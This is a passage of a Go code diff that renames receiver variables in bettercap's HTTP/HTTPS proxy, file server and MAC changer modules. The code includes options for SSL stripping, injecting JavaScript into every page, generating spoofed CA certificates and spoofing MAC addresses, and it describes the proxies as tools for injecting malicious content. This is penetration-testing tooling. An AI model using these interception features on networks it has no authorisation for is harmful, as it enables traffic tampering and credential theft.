func(args []string) error {
|
||||||
return p.Stop()
|
return mod.Stop()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
return p
|
return mod
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *HttpProxy) Name() string {
|
func (mod *HttpProxy) Name() string {
|
||||||
return "http.proxy"
|
return "http.proxy"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *HttpProxy) Description() string {
|
func (mod *HttpProxy) Description() string {
|
||||||
return "A full featured HTTP proxy that can be used to inject malicious contents into webpages, all HTTP traffic will be redirected to it."
|
return "A full featured HTTP proxy that can be used to inject malicious contents into webpages, all HTTP traffic will be redirected to it."
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *HttpProxy) Author() string {
|
func (mod *HttpProxy) Author() string {
|
||||||
return "Simone Margaritelli <evilsocket@gmail.com>"
|
return "Simone Margaritelli <evilsocket@gmail.com>"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *HttpProxy) Configure() error {
|
func (mod *HttpProxy) Configure() error {
|
||||||
var err error
|
var err error
|
||||||
var address string
|
var address string
|
||||||
var proxyPort int
|
var proxyPort int
|
||||||
|
@ -78,37 +78,37 @@ func (p *HttpProxy) Configure() error {
|
||||||
var stripSSL bool
|
var stripSSL bool
|
||||||
var jsToInject string
|
var jsToInject string
|
||||||
|
|
||||||
if p.Running() {
|
if mod.Running() {
|
||||||
return session.ErrAlreadyStarted
|
return session.ErrAlreadyStarted
|
||||||
} else if err, address = p.StringParam("http.proxy.address"); err != nil {
|
} else if err, address = mod.StringParam("http.proxy.address"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, proxyPort = p.IntParam("http.proxy.port"); err != nil {
|
} else if err, proxyPort = mod.IntParam("http.proxy.port"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, httpPort = p.IntParam("http.port"); err != nil {
|
} else if err, httpPort = mod.IntParam("http.port"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, scriptPath = p.StringParam("http.proxy.script"); err != nil {
|
} else if err, scriptPath = mod.StringParam("http.proxy.script"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, stripSSL = p.BoolParam("http.proxy.sslstrip"); err != nil {
|
} else if err, stripSSL = mod.BoolParam("http.proxy.sslstrip"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, jsToInject = p.StringParam("http.proxy.injectjs"); err != nil {
|
} else if err, jsToInject = mod.StringParam("http.proxy.injectjs"); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
return p.proxy.Configure(address, proxyPort, httpPort, scriptPath, jsToInject, stripSSL)
|
return mod.proxy.Configure(address, proxyPort, httpPort, scriptPath, jsToInject, stripSSL)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *HttpProxy) Start() error {
|
func (mod *HttpProxy) Start() error {
|
||||||
if err := p.Configure(); err != nil {
|
if err := mod.Configure(); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
return p.SetRunning(true, func() {
|
return mod.SetRunning(true, func() {
|
||||||
p.proxy.Start()
|
mod.proxy.Start()
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *HttpProxy) Stop() error {
|
func (mod *HttpProxy) Stop() error {
|
||||||
return p.SetRunning(false, func() {
|
return mod.SetRunning(false, func() {
|
||||||
p.proxy.Stop()
|
mod.proxy.Stop()
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
|
@ -18,63 +18,63 @@ type HttpServer struct {
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewHttpServer(s *session.Session) *HttpServer {
|
func NewHttpServer(s *session.Session) *HttpServer {
|
||||||
httpd := &HttpServer{
|
mod := &HttpServer{
|
||||||
SessionModule: session.NewSessionModule("http.server", s),
|
SessionModule: session.NewSessionModule("http.server", s),
|
||||||
server: &http.Server{},
|
server: &http.Server{},
|
||||||
}
|
}
|
||||||
|
|
||||||
httpd.AddParam(session.NewStringParameter("http.server.path",
|
mod.AddParam(session.NewStringParameter("http.server.path",
|
||||||
".",
|
".",
|
||||||
"",
|
"",
|
||||||
"Server folder."))
|
"Server folder."))
|
||||||
|
|
||||||
httpd.AddParam(session.NewStringParameter("http.server.address",
|
mod.AddParam(session.NewStringParameter("http.server.address",
|
||||||
session.ParamIfaceAddress,
|
session.ParamIfaceAddress,
|
||||||
session.IPv4Validator,
|
session.IPv4Validator,
|
||||||
"Address to bind the http server to."))
|
"Address to bind the http server to."))
|
||||||
|
|
||||||
httpd.AddParam(session.NewIntParameter("http.server.port",
|
mod.AddParam(session.NewIntParameter("http.server.port",
|
||||||
"80",
|
"80",
|
||||||
"Port to bind the http server to."))
|
"Port to bind the http server to."))
|
||||||
|
|
||||||
httpd.AddHandler(session.NewModuleHandler("http.server on", "",
|
mod.AddHandler(session.NewModuleHandler("http.server on", "",
|
||||||
"Start httpd server.",
|
"Start httpd server.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return httpd.Start()
|
return mod.Start()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
httpd.AddHandler(session.NewModuleHandler("http.server off", "",
|
mod.AddHandler(session.NewModuleHandler("http.server off", "",
|
||||||
"Stop httpd server.",
|
"Stop httpd server.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return httpd.Stop()
|
return mod.Stop()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
return httpd
|
return mod
|
||||||
}
|
}
|
||||||
|
|
||||||
func (httpd *HttpServer) Name() string {
|
func (mod *HttpServer) Name() string {
|
||||||
return "http.server"
|
return "http.server"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (httpd *HttpServer) Description() string {
|
func (mod *HttpServer) Description() string {
|
||||||
return "A simple HTTP server, to be used to serve files and scripts across the network."
|
return "A simple HTTP server, to be used to serve files and scripts across the network."
|
||||||
}
|
}
|
||||||
|
|
||||||
func (httpd *HttpServer) Author() string {
|
func (mod *HttpServer) Author() string {
|
||||||
return "Simone Margaritelli <evilsocket@gmail.com>"
|
return "Simone Margaritelli <evilsocket@gmail.com>"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (httpd *HttpServer) Configure() error {
|
func (mod *HttpServer) Configure() error {
|
||||||
var err error
|
var err error
|
||||||
var path string
|
var path string
|
||||||
var address string
|
var address string
|
||||||
var port int
|
var port int
|
||||||
|
|
||||||
if httpd.Running() {
|
if mod.Running() {
|
||||||
return session.ErrAlreadyStarted
|
return session.ErrAlreadyStarted
|
||||||
}
|
}
|
||||||
|
|
||||||
if err, path = httpd.StringParam("http.server.path"); err != nil {
|
if err, path = mod.StringParam("http.server.path"); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -82,43 +82,43 @@ func (httpd *HttpServer) Configure() error {
|
||||||
fileServer := http.FileServer(http.Dir(path))
|
fileServer := http.FileServer(http.Dir(path))
|
||||||
|
|
||||||
router.HandleFunc("/", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
router.HandleFunc("/", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||||
httpd.Info("%s %s %s%s", tui.Bold(strings.Split(r.RemoteAddr, ":")[0]), r.Method, r.Host, r.URL.Path)
|
mod.Info("%s %s %s%s", tui.Bold(strings.Split(r.RemoteAddr, ":")[0]), r.Method, r.Host, r.URL.Path)
|
||||||
fileServer.ServeHTTP(w, r)
|
fileServer.ServeHTTP(w, r)
|
||||||
}))
|
}))
|
||||||
|
|
||||||
httpd.server.Handler = router
|
mod.server.Handler = router
|
||||||
|
|
||||||
if err, address = httpd.StringParam("http.server.address"); err != nil {
|
if err, address = mod.StringParam("http.server.address"); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
if err, port = httpd.IntParam("http.server.port"); err != nil {
|
if err, port = mod.IntParam("http.server.port"); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
httpd.server.Addr = fmt.Sprintf("%s:%d", address, port)
|
mod.server.Addr = fmt.Sprintf("%s:%d", address, port)
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (httpd *HttpServer) Start() error {
|
func (mod *HttpServer) Start() error {
|
||||||
if err := httpd.Configure(); err != nil {
|
if err := mod.Configure(); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
return httpd.SetRunning(true, func() {
|
return mod.SetRunning(true, func() {
|
||||||
var err error
|
var err error
|
||||||
httpd.Info("starting on http://%s", httpd.server.Addr)
|
mod.Info("starting on http://%s", mod.server.Addr)
|
||||||
if err = httpd.server.ListenAndServe(); err != nil && err != http.ErrServerClosed {
|
if err = mod.server.ListenAndServe(); err != nil && err != http.ErrServerClosed {
|
||||||
panic(err)
|
panic(err)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func (httpd *HttpServer) Stop() error {
|
func (mod *HttpServer) Stop() error {
|
||||||
return httpd.SetRunning(false, func() {
|
return mod.SetRunning(false, func() {
|
||||||
ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second)
|
ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
httpd.server.Shutdown(ctx)
|
mod.server.Shutdown(ctx)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
|
@ -14,78 +14,78 @@ type HttpsProxy struct {
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewHttpsProxy(s *session.Session) *HttpsProxy {
|
func NewHttpsProxy(s *session.Session) *HttpsProxy {
|
||||||
p := &HttpsProxy{
|
mod := &HttpsProxy{
|
||||||
SessionModule: session.NewSessionModule("https.proxy", s),
|
SessionModule: session.NewSessionModule("https.proxy", s),
|
||||||
proxy: http_proxy.NewHTTPProxy(s),
|
proxy: http_proxy.NewHTTPProxy(s),
|
||||||
}
|
}
|
||||||
|
|
||||||
p.AddParam(session.NewIntParameter("https.port",
|
mod.AddParam(session.NewIntParameter("https.port",
|
||||||
"443",
|
"443",
|
||||||
"HTTPS port to redirect when the proxy is activated."))
|
"HTTPS port to redirect when the proxy is activated."))
|
||||||
|
|
||||||
p.AddParam(session.NewStringParameter("https.proxy.address",
|
mod.AddParam(session.NewStringParameter("https.proxy.address",
|
||||||
session.ParamIfaceAddress,
|
session.ParamIfaceAddress,
|
||||||
session.IPv4Validator,
|
session.IPv4Validator,
|
||||||
"Address to bind the HTTPS proxy to."))
|
"Address to bind the HTTPS proxy to."))
|
||||||
|
|
||||||
p.AddParam(session.NewIntParameter("https.proxy.port",
|
mod.AddParam(session.NewIntParameter("https.proxy.port",
|
||||||
"8083",
|
"8083",
|
||||||
"Port to bind the HTTPS proxy to."))
|
"Port to bind the HTTPS proxy to."))
|
||||||
|
|
||||||
p.AddParam(session.NewBoolParameter("https.proxy.sslstrip",
|
mod.AddParam(session.NewBoolParameter("https.proxy.sslstrip",
|
||||||
"false",
|
"false",
|
||||||
"Enable or disable SSL stripping."))
|
"Enable or disable SSL stripping."))
|
||||||
|
|
||||||
p.AddParam(session.NewStringParameter("https.proxy.injectjs",
|
mod.AddParam(session.NewStringParameter("https.proxy.injectjs",
|
||||||
"",
|
"",
|
||||||
"",
|
"",
|
||||||
"URL, path or javascript code to inject into every HTML page."))
|
"URL, path or javascript code to inject into every HTML page."))
|
||||||
|
|
||||||
p.AddParam(session.NewStringParameter("https.proxy.certificate",
|
mod.AddParam(session.NewStringParameter("https.proxy.certificate",
|
||||||
"~/.bettercap-ca.cert.pem",
|
"~/.bettercap-ca.cert.pem",
|
||||||
"",
|
"",
|
||||||
"HTTPS proxy certification authority TLS certificate file."))
|
"HTTPS proxy certification authority TLS certificate file."))
|
||||||
|
|
||||||
p.AddParam(session.NewStringParameter("https.proxy.key",
|
mod.AddParam(session.NewStringParameter("https.proxy.key",
|
||||||
"~/.bettercap-ca.key.pem",
|
"~/.bettercap-ca.key.pem",
|
||||||
"",
|
"",
|
||||||
"HTTPS proxy certification authority TLS key file."))
|
"HTTPS proxy certification authority TLS key file."))
|
||||||
|
|
||||||
tls.CertConfigToModule("https.proxy", &p.SessionModule, tls.DefaultSpoofConfig)
|
tls.CertConfigToModule("https.proxy", &mod.SessionModule, tls.DefaultSpoofConfig)
|
||||||
|
|
||||||
p.AddParam(session.NewStringParameter("https.proxy.script",
|
mod.AddParam(session.NewStringParameter("https.proxy.script",
|
||||||
"",
|
"",
|
||||||
"",
|
"",
|
||||||
"Path of a proxy JS script."))
|
"Path of a proxy JS script."))
|
||||||
|
|
||||||
p.AddHandler(session.NewModuleHandler("https.proxy on", "",
|
mod.AddHandler(session.NewModuleHandler("https.proxy on", "",
|
||||||
"Start HTTPS proxy.",
|
"Start HTTPS proxy.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return p.Start()
|
return mod.Start()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
p.AddHandler(session.NewModuleHandler("https.proxy off", "",
|
mod.AddHandler(session.NewModuleHandler("https.proxy off", "",
|
||||||
"Stop HTTPS proxy.",
|
"Stop HTTPS proxy.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return p.Stop()
|
return mod.Stop()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
return p
|
return mod
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *HttpsProxy) Name() string {
|
func (mod *HttpsProxy) Name() string {
|
||||||
return "https.proxy"
|
return "https.proxy"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *HttpsProxy) Description() string {
|
func (mod *HttpsProxy) Description() string {
|
||||||
return "A full featured HTTPS proxy that can be used to inject malicious contents into webpages, all HTTPS traffic will be redirected to it."
|
return "A full featured HTTPS proxy that can be used to inject malicious contents into webpages, all HTTPS traffic will be redirected to it."
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *HttpsProxy) Author() string {
|
func (mod *HttpsProxy) Author() string {
|
||||||
return "Simone Margaritelli <evilsocket@gmail.com>"
|
return "Simone Margaritelli <evilsocket@gmail.com>"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *HttpsProxy) Configure() error {
|
func (mod *HttpsProxy) Configure() error {
|
||||||
var err error
|
var err error
|
||||||
var address string
|
var address string
|
||||||
var proxyPort int
|
var proxyPort int
|
||||||
|
@ -96,62 +96,62 @@ func (p *HttpsProxy) Configure() error {
|
||||||
var stripSSL bool
|
var stripSSL bool
|
||||||
var jsToInject string
|
var jsToInject string
|
||||||
|
|
||||||
if p.Running() {
|
if mod.Running() {
|
||||||
return session.ErrAlreadyStarted
|
return session.ErrAlreadyStarted
|
||||||
} else if err, address = p.StringParam("https.proxy.address"); err != nil {
|
} else if err, address = mod.StringParam("https.proxy.address"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, proxyPort = p.IntParam("https.proxy.port"); err != nil {
|
} else if err, proxyPort = mod.IntParam("https.proxy.port"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, httpPort = p.IntParam("https.port"); err != nil {
|
} else if err, httpPort = mod.IntParam("https.port"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, stripSSL = p.BoolParam("https.proxy.sslstrip"); err != nil {
|
} else if err, stripSSL = mod.BoolParam("https.proxy.sslstrip"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, certFile = p.StringParam("https.proxy.certificate"); err != nil {
|
} else if err, certFile = mod.StringParam("https.proxy.certificate"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if certFile, err = fs.Expand(certFile); err != nil {
|
} else if certFile, err = fs.Expand(certFile); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, keyFile = p.StringParam("https.proxy.key"); err != nil {
|
} else if err, keyFile = mod.StringParam("https.proxy.key"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if keyFile, err = fs.Expand(keyFile); err != nil {
|
} else if keyFile, err = fs.Expand(keyFile); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, scriptPath = p.StringParam("https.proxy.script"); err != nil {
|
} else if err, scriptPath = mod.StringParam("https.proxy.script"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, jsToInject = p.StringParam("https.proxy.injectjs"); err != nil {
|
} else if err, jsToInject = mod.StringParam("https.proxy.injectjs"); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
if !fs.Exists(certFile) || !fs.Exists(keyFile) {
|
if !fs.Exists(certFile) || !fs.Exists(keyFile) {
|
||||||
err, cfg := tls.CertConfigFromModule("https.proxy", p.SessionModule)
|
err, cfg := tls.CertConfigFromModule("https.proxy", mod.SessionModule)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
p.Debug("%+v", cfg)
|
mod.Debug("%+v", cfg)
|
||||||
p.Info("generating proxy certification authority TLS key to %s", keyFile)
|
mod.Info("generating proxy certification authority TLS key to %s", keyFile)
|
||||||
p.Info("generating proxy certification authority TLS certificate to %s", certFile)
|
mod.Info("generating proxy certification authority TLS certificate to %s", certFile)
|
||||||
if err := tls.Generate(cfg, certFile, keyFile); err != nil {
|
if err := tls.Generate(cfg, certFile, keyFile); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
p.Info("loading proxy certification authority TLS key from %s", keyFile)
|
mod.Info("loading proxy certification authority TLS key from %s", keyFile)
|
||||||
p.Info("loading proxy certification authority TLS certificate from %s", certFile)
|
mod.Info("loading proxy certification authority TLS certificate from %s", certFile)
|
||||||
}
|
}
|
||||||
|
|
||||||
return p.proxy.ConfigureTLS(address, proxyPort, httpPort, scriptPath, certFile, keyFile, jsToInject, stripSSL)
|
return mod.proxy.ConfigureTLS(address, proxyPort, httpPort, scriptPath, certFile, keyFile, jsToInject, stripSSL)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *HttpsProxy) Start() error {
|
func (mod *HttpsProxy) Start() error {
|
||||||
if err := p.Configure(); err != nil {
|
if err := mod.Configure(); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
return p.SetRunning(true, func() {
|
return mod.SetRunning(true, func() {
|
||||||
p.proxy.Start()
|
mod.proxy.Start()
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *HttpsProxy) Stop() error {
|
func (mod *HttpsProxy) Stop() error {
|
||||||
return p.SetRunning(false, func() {
|
return mod.SetRunning(false, func() {
|
||||||
p.proxy.Stop()
|
mod.proxy.Stop()
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
|
@ -22,65 +22,65 @@ type HttpsServer struct {
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewHttpsServer(s *session.Session) *HttpsServer {
|
func NewHttpsServer(s *session.Session) *HttpsServer {
|
||||||
httpd := &HttpsServer{
|
mod := &HttpsServer{
|
||||||
SessionModule: session.NewSessionModule("https.server", s),
|
SessionModule: session.NewSessionModule("https.server", s),
|
||||||
server: &http.Server{},
|
server: &http.Server{},
|
||||||
}
|
}
|
||||||
|
|
||||||
httpd.AddParam(session.NewStringParameter("https.server.path",
|
mod.AddParam(session.NewStringParameter("https.server.path",
|
||||||
".",
|
".",
|
||||||
"",
|
"",
|
||||||
"Server folder."))
|
"Server folder."))
|
||||||
|
|
||||||
httpd.AddParam(session.NewStringParameter("https.server.address",
|
mod.AddParam(session.NewStringParameter("https.server.address",
|
||||||
session.ParamIfaceAddress,
|
session.ParamIfaceAddress,
|
||||||
session.IPv4Validator,
|
session.IPv4Validator,
|
||||||
"Address to bind the http server to."))
|
"Address to bind the http server to."))
|
||||||
|
|
||||||
httpd.AddParam(session.NewIntParameter("https.server.port",
|
mod.AddParam(session.NewIntParameter("https.server.port",
|
||||||
"443",
|
"443",
|
||||||
"Port to bind the http server to."))
|
"Port to bind the http server to."))
|
||||||
|
|
||||||
httpd.AddParam(session.NewStringParameter("https.server.certificate",
|
mod.AddParam(session.NewStringParameter("https.server.certificate",
|
||||||
"~/.bettercap-https.cert.pem",
|
"~/.bettercap-https.cert.pem",
|
||||||
"",
|
"",
|
||||||
"TLS certificate file (will be auto generated if filled but not existing)."))
|
"TLS certificate file (will be auto generated if filled but not existing)."))
|
||||||
|
|
||||||
httpd.AddParam(session.NewStringParameter("https.server.key",
|
mod.AddParam(session.NewStringParameter("https.server.key",
|
||||||
"~/.bettercap-https.key.pem",
|
"~/.bettercap-https.key.pem",
|
||||||
"",
|
"",
|
||||||
"TLS key file (will be auto generated if filled but not existing)."))
|
"TLS key file (will be auto generated if filled but not existing)."))
|
||||||
|
|
||||||
tls.CertConfigToModule("https.server", &httpd.SessionModule, tls.DefaultLegitConfig)
|
tls.CertConfigToModule("https.server", &mod.SessionModule, tls.DefaultLegitConfig)
|
||||||
|
|
||||||
httpd.AddHandler(session.NewModuleHandler("https.server on", "",
|
mod.AddHandler(session.NewModuleHandler("https.server on", "",
|
||||||
"Start https server.",
|
"Start https server.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return httpd.Start()
|
return mod.Start()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
httpd.AddHandler(session.NewModuleHandler("https.server off", "",
|
mod.AddHandler(session.NewModuleHandler("https.server off", "",
|
||||||
"Stop https server.",
|
"Stop https server.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return httpd.Stop()
|
return mod.Stop()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
return httpd
|
return mod
|
||||||
}
|
}
|
||||||
|
|
||||||
func (httpd *HttpsServer) Name() string {
|
func (mod *HttpsServer) Name() string {
|
||||||
return "https.server"
|
return "https.server"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (httpd *HttpsServer) Description() string {
|
func (mod *HttpsServer) Description() string {
|
||||||
return "A simple HTTPS server, to be used to serve files and scripts across the network."
|
return "A simple HTTPS server, to be used to serve files and scripts across the network."
|
||||||
}
|
}
|
||||||
|
|
||||||
func (httpd *HttpsServer) Author() string {
|
func (mod *HttpsServer) Author() string {
|
||||||
return "Simone Margaritelli <evilsocket@gmail.com>"
|
return "Simone Margaritelli <evilsocket@gmail.com>"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (httpd *HttpsServer) Configure() error {
|
func (mod *HttpsServer) Configure() error {
|
||||||
var err error
|
var err error
|
||||||
var path string
|
var path string
|
||||||
var address string
|
var address string
|
||||||
|
@ -88,11 +88,11 @@ func (httpd *HttpsServer) Configure() error {
|
||||||
var certFile string
|
var certFile string
|
||||||
var keyFile string
|
var keyFile string
|
||||||
|
|
||||||
if httpd.Running() {
|
if mod.Running() {
|
||||||
return session.ErrAlreadyStarted
|
return session.ErrAlreadyStarted
|
||||||
}
|
}
|
||||||
|
|
||||||
if err, path = httpd.StringParam("https.server.path"); err != nil {
|
if err, path = mod.StringParam("https.server.path"); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -100,74 +100,74 @@ func (httpd *HttpsServer) Configure() error {
|
||||||
fileServer := http.FileServer(http.Dir(path))
|
fileServer := http.FileServer(http.Dir(path))
|
||||||
|
|
||||||
router.HandleFunc("/", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
router.HandleFunc("/", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||||
httpd.Info("%s %s %s%s", tui.Bold(strings.Split(r.RemoteAddr, ":")[0]), r.Method, r.Host, r.URL.Path)
|
mod.Info("%s %s %s%s", tui.Bold(strings.Split(r.RemoteAddr, ":")[0]), r.Method, r.Host, r.URL.Path)
|
||||||
fileServer.ServeHTTP(w, r)
|
fileServer.ServeHTTP(w, r)
|
||||||
}))
|
}))
|
||||||
|
|
||||||
httpd.server.Handler = router
|
mod.server.Handler = router
|
||||||
|
|
||||||
if err, address = httpd.StringParam("https.server.address"); err != nil {
|
if err, address = mod.StringParam("https.server.address"); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
if err, port = httpd.IntParam("https.server.port"); err != nil {
|
if err, port = mod.IntParam("https.server.port"); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
httpd.server.Addr = fmt.Sprintf("%s:%d", address, port)
|
mod.server.Addr = fmt.Sprintf("%s:%d", address, port)
|
||||||
|
|
||||||
if err, certFile = httpd.StringParam("https.server.certificate"); err != nil {
|
if err, certFile = mod.StringParam("https.server.certificate"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if certFile, err = fs.Expand(certFile); err != nil {
|
} else if certFile, err = fs.Expand(certFile); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
if err, keyFile = httpd.StringParam("https.server.key"); err != nil {
|
if err, keyFile = mod.StringParam("https.server.key"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if keyFile, err = fs.Expand(keyFile); err != nil {
|
} else if keyFile, err = fs.Expand(keyFile); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
if !fs.Exists(certFile) || !fs.Exists(keyFile) {
|
if !fs.Exists(certFile) || !fs.Exists(keyFile) {
|
||||||
err, cfg := tls.CertConfigFromModule("https.server", httpd.SessionModule)
|
err, cfg := tls.CertConfigFromModule("https.server", mod.SessionModule)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
httpd.Debug("%+v", cfg)
|
mod.Debug("%+v", cfg)
|
||||||
httpd.Info("generating server TLS key to %s", keyFile)
|
mod.Info("generating server TLS key to %s", keyFile)
|
||||||
httpd.Info("generating server TLS certificate to %s", certFile)
|
mod.Info("generating server TLS certificate to %s", certFile)
|
||||||
if err := tls.Generate(cfg, certFile, keyFile); err != nil {
|
if err := tls.Generate(cfg, certFile, keyFile); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
httpd.Info("loading server TLS key from %s", keyFile)
|
mod.Info("loading server TLS key from %s", keyFile)
|
||||||
httpd.Info("loading server TLS certificate from %s", certFile)
|
mod.Info("loading server TLS certificate from %s", certFile)
|
||||||
}
|
}
|
||||||
|
|
||||||
httpd.certFile = certFile
|
mod.certFile = certFile
|
||||||
httpd.keyFile = keyFile
|
mod.keyFile = keyFile
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (httpd *HttpsServer) Start() error {
|
func (mod *HttpsServer) Start() error {
|
||||||
if err := httpd.Configure(); err != nil {
|
if err := mod.Configure(); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
return httpd.SetRunning(true, func() {
|
return mod.SetRunning(true, func() {
|
||||||
httpd.Info("starting on https://%s", httpd.server.Addr)
|
mod.Info("starting on https://%s", mod.server.Addr)
|
||||||
if err := httpd.server.ListenAndServeTLS(httpd.certFile, httpd.keyFile); err != nil && err != http.ErrServerClosed {
|
if err := mod.server.ListenAndServeTLS(mod.certFile, mod.keyFile); err != nil && err != http.ErrServerClosed {
|
||||||
panic(err)
|
panic(err)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func (httpd *HttpsServer) Stop() error {
|
func (mod *HttpsServer) Stop() error {
|
||||||
return httpd.SetRunning(false, func() {
|
return mod.SetRunning(false, func() {
|
||||||
ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second)
|
ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
httpd.server.Shutdown(ctx)
|
mod.server.Shutdown(ctx)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
|
@ -21,106 +21,106 @@ type MacChanger struct {
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewMacChanger(s *session.Session) *MacChanger {
|
func NewMacChanger(s *session.Session) *MacChanger {
|
||||||
mc := &MacChanger{
|
mod := &MacChanger{
|
||||||
SessionModule: session.NewSessionModule("mac.changer", s),
|
SessionModule: session.NewSessionModule("mac.changer", s),
|
||||||
}
|
}
|
||||||
|
|
||||||
mc.AddParam(session.NewStringParameter("mac.changer.iface",
|
mod.AddParam(session.NewStringParameter("mac.changer.iface",
|
||||||
session.ParamIfaceName,
|
session.ParamIfaceName,
|
||||||
"",
|
"",
|
||||||
"Name of the interface to use."))
|
"Name of the interface to use."))
|
||||||
|
|
||||||
mc.AddParam(session.NewStringParameter("mac.changer.address",
|
mod.AddParam(session.NewStringParameter("mac.changer.address",
|
||||||
session.ParamRandomMAC,
|
session.ParamRandomMAC,
|
||||||
"[a-fA-F0-9]{2}:[a-fA-F0-9]{2}:[a-fA-F0-9]{2}:[a-fA-F0-9]{2}:[a-fA-F0-9]{2}:[a-fA-F0-9]{2}",
|
"[a-fA-F0-9]{2}:[a-fA-F0-9]{2}:[a-fA-F0-9]{2}:[a-fA-F0-9]{2}:[a-fA-F0-9]{2}:[a-fA-F0-9]{2}",
|
||||||
"Hardware address to apply to the interface."))
|
"Hardware address to apply to the interface."))
|
||||||
|
|
||||||
mc.AddHandler(session.NewModuleHandler("mac.changer on", "",
|
mod.AddHandler(session.NewModuleHandler("mac.changer on", "",
|
||||||
"Start mac changer module.",
|
"Start mac changer module.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return mc.Start()
|
return mod.Start()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
mc.AddHandler(session.NewModuleHandler("mac.changer off", "",
|
mod.AddHandler(session.NewModuleHandler("mac.changer off", "",
|
